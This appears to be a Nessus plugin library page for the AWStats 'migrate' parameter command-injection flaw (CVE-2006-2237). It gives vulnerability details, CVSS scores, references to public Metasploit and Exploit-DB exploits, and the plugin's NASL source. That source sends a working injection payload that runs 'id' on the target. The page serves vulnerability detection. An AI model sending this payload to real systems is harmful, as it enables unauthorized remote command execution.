AWStats migrate Parameter Arbitrary Command Execution - Nessus

Medium   Plugin ID: 21328

This page contains detailed information about the AWStats migrate Parameter Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 21328
Name: AWStats migrate Parameter Arbitrary Command Execution
Filename: awstats_migrate_cmd_exec.nasl
Vulnerability Published: 2006-05-05
This Plugin Published: 2006-05-08
Last Modification Time: 2022-04-11
Plugin Version: 1.25
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: awstats_detect.nasl
Required KB Items [?]: www/AWStats
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: Medium
Vulnerability Published: 2006-05-05
Patch Published: N/A
CVE [?]: CVE-2006-2237
CPE [?]: cpe:/a:laurent_destailleur:awstats

Synopsis

The remote web server contains a CGI script that allows for the execution of arbitrary commands.

Description

The remote host is running AWStats, a free logfile analysis tool written in Perl.

The version of AWStats installed on the remote host fails to sanitize input to the 'migrate' parameter before passing it to a Perl 'open()' function. Provided 'AllowToUpdateStatsFromBrowser' is enabled in the AWStats site configuration file, an unauthenticated attacker can exploit this issue to execute arbitrary code on the affected host, subject to the privileges of the web server user id.

Solution

Upgrade to AWStats version 6.6 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the AWStats migrate Parameter Arbitrary Command Execution vulnerability:

  1. Metasploit: exploit/unix/webapp/awstats_migrate_exec
    [AWStats migrate Remote Command Execution]
  2. Exploit-DB: exploits/cgi/webapps/9909.rb
    [EDB-9909: AWStats 6.4 < 6.5 - AllowToUpdateStatsFromBrowser Command Injection (Metasploit)]
  3. Exploit-DB: exploits/cgi/webapps/16886.rb
    [EDB-16886: AWStats 6.4 < 6.5 - migrate Remote Command Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:H/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:ND
CVSS Base Score:5.1 (Medium)
Impact Subscore:6.4
Exploitability Subscore:4.9
CVSS Temporal Score:4.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:4.2 (Medium)

Go back to menu.

Plugin Source


This is the awstats_migrate_cmd_exec.nasl nessus plugin source code. This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(21328);
  script_version("1.25");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2006-2237");
  script_bugtraq_id(17844);

  script_name(english:"AWStats migrate Parameter Arbitrary Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a CGI script that allows for the
execution of arbitrary commands.");
  script_set_attribute(attribute:"description", value:
"The remote host is running AWStats, a free logfile analysis tool
written in Perl.

The version of AWStats installed on the remote host fails to sanitize
input to the 'migrate' parameter before passing it to a Perl 'open()'
function.  Provided 'AllowToUpdateStatsFromBrowser' is enabled in the
AWStats site configuration file, an unauthenticated attacker can exploit
this issue to execute arbitrary code on the affected host, subject to
the privileges of the web server user id.");
  script_set_attribute(attribute:"see_also", value:"http://www.osreviews.net/reviews/comm/awstats");
  script_set_attribute(attribute:"see_also", value:"http://www.awstats.org/awstats_security_news.php");
  script_set_attribute(attribute:"solution", value:
"Upgrade to AWStats version 6.6 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'AWStats migrate Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/05/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/05/08");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:laurent_destailleur:awstats");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("awstats_detect.nasl");
  script_require_keys("www/AWStats");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);

install = get_install_from_kb(appname:'AWStats', port:port);
if (isnull(install)) exit(0, "The 'www/"+port+"/AWStats' KB item is missing.");
dir = install['dir'];

# Exploit the flaw to run a command.
cmd = "id";
host = get_host_name();
r = http_send_recv3(method:"GET",
    item:string(
      dir, "/awstats.pl?",
      "config=", host, "&",
      "migrate=|", cmd, ";exit|awstats052006.", host, ".txt"
    ),
    port:port
  );
if (isnull(r)) exit(1, "The web server on port "+port+" failed to respond");
res = r[2];

  if (egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res))
  {
    res = strstr(res, "uid=");
    res = res - strstr(res, "<br");

    report = string(
      "Nessus was able to execute the command 'id' on the remote host;\n",
      "the output was:\n",
      "\n",
       data_protection::sanitize_uid(output:res)
    );

    security_warning(port:port, extra:report);
    exit(0);
  }

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/awstats_migrate_cmd_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\awstats_migrate_cmd_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/awstats_migrate_cmd_exec.nasl

Go back to menu.

How to Run


Here is how to run the AWStats migrate Parameter Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select AWStats migrate Parameter Arbitrary Command Execution plugin ID 21328.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl awstats_migrate_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a awstats_migrate_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - awstats_migrate_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state awstats_migrate_cmd_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 22600 - Debian DSA-1058-1 : awstats - missing input sanitising
  • 21667 - GLSA-200606-06 : AWStats: Remote execution of arbitrary code
  • 27163 - openSUSE 10 Security Update : awstats (awstats-1612)
  • 21588 - Ubuntu 5.04 / 5.10 : awstats vulnerability (USN-285-1)
  • 16189 - AWStats awstats.pl configdir Parameter Arbitrary Command Execution
  • 34055 - AWStats Totals awstatstotals.php multisort() Function sort Parameter Arbitrary PHP Code Execution
  • 18840 - FreeBSD : awstats -- remote command execution vulnerability (0f5a2b4d-694b-11d9-a9e7-0001020eed82)
  • 16427 - GLSA-200501-36 : AWStats: Remote code execution

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file awstats_migrate_cmd_exec.nasl version 1.25. For more plugins, visit the Nessus Plugin Library.

Go back to menu.